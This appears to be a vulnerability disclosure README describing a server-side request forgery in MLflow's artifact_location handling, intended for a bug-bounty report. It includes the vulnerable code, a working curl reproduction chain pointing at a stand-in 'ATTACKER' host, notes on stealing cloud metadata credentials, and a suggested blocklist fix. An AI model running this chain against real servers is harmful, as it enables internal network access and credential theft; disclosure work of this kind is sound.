YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

MLflow SSRF via HTTP artifact_location

Status Severity Platform Target

Overview

Field Value
Bug class CWE-918 β€” Server-Side Request Forgery
Target mlflow/mlflow
Platform huntr.com (Open Source Library program)
Affected version ≀ 3.12.0 (latest)
CVSS 8.6 High β€” AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Auth required None (default MLflow has no auth)

Root Cause

_validate_experiment_artifact_location() in mlflow/utils/validation.py:723 only blocks runs: URIs. All other schemes β€” including http:// and https:// β€” pass without restriction.

When a run's artifacts are accessed via GET /get-artifact, the server constructs an HttpArtifactRepository from the run's artifact_uri and issues an outbound HTTP GET to the attacker-controlled host.

Vulnerable Code

# mlflow/utils/validation.py:723
def _validate_experiment_artifact_location(artifact_location):
    if artifact_location is not None and artifact_location.startswith("runs:"):
        raise MlflowException(...)
    # ← http:// passes through with NO validation

Trigger Path

POST /api/2.0/mlflow/experiments/create
  β†’ _validate_experiment_artifact_location()  [only blocks runs:]
  β†’ stored in DB

GET /get-artifact?run_id=X&path=test
  β†’ get_artifact_handler()                    [no auth, no scheme check]
  β†’ _get_artifact_repo(run)
  β†’ get_artifact_repository("http://ATTACKER/mlflow-artifacts/artifacts/{run_id}/artifacts")
  β†’ HttpArtifactRepository
  β†’ list_artifacts("test")
  β†’ HTTP GET http://ATTACKER/mlflow-artifacts/artifacts?path={run_id}%2Fartifacts%2Ftest

Reproduction

Quick (no server needed)

pip install mlflow
python3 poc_mlflow_ssrf.py

Expected output:

[!!!] SSRF CONFIRMED - MLflow made outbound HTTP request!
    GET 127.0.0.1:19998/mlflow-artifacts/artifacts?path=...

Full HTTP API chain

# Start MLflow server (default config, no auth)
mlflow server --backend-store-uri sqlite:///mlflow.db --host 0.0.0.0 --port 5000

# Step 1 β€” create experiment with attacker-controlled artifact_location
EXP=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/experiments/create \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf","artifact_location":"http://ATTACKER/mlflow-artifacts/artifacts"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['experiment_id'])")

# Step 2 β€” create run
RUN=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/runs/create \
  -H "Content-Type: application/json" \
  -d "{\"experiment_id\":\"$EXP\"}" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['run']['info']['run_id'])")

# Step 3 β€” trigger SSRF
curl "http://localhost:5000/get-artifact?run_id=$RUN&path=test"
# β†’ MLflow server GETs http://ATTACKER/mlflow-artifacts/artifacts?path={run_id}%2Fartifacts%2Ftest

Impact

  • Internal network access β€” MLflow server makes HTTP requests to any host the attacker specifies
  • Cloud credential theft β€” via redirect chain to http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} (requests follows redirects by default)
  • Response exfiltration β€” HTTP response body returned to attacker via _send_artifact()
  • No authentication required β€” default MLflow config has no auth

Files

File Purpose
poc_mlflow_ssrf.py Working PoC β€” standalone + HTTP API mode
report.md Full huntr-format vulnerability report
poc-evidence.html Terminal output evidence page
README.md This file

Suggested Fix

Add private IP blocklist in _validate_experiment_artifact_location():

import ipaddress, urllib.parse

BLOCKED = [ipaddress.ip_network(r) for r in [
    "169.254.0.0/16", "10.0.0.0/8", "172.16.0.0/12",
    "192.168.0.0/16", "127.0.0.0/8", "::1/128",
]]

def _validate_experiment_artifact_location(artifact_location):
    if artifact_location is None:
        return
    if artifact_location.startswith("runs:"):
        raise MlflowException(...)
    parsed = urllib.parse.urlparse(artifact_location)
    if parsed.scheme in ("http", "https"):
        try:
            ip = ipaddress.ip_address(parsed.hostname)
            if any(ip in r for r in BLOCKED):
                raise MlflowException(f"artifact_location targets internal IP: {parsed.hostname}")
        except ValueError:
            pass  # domain β€” allow
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support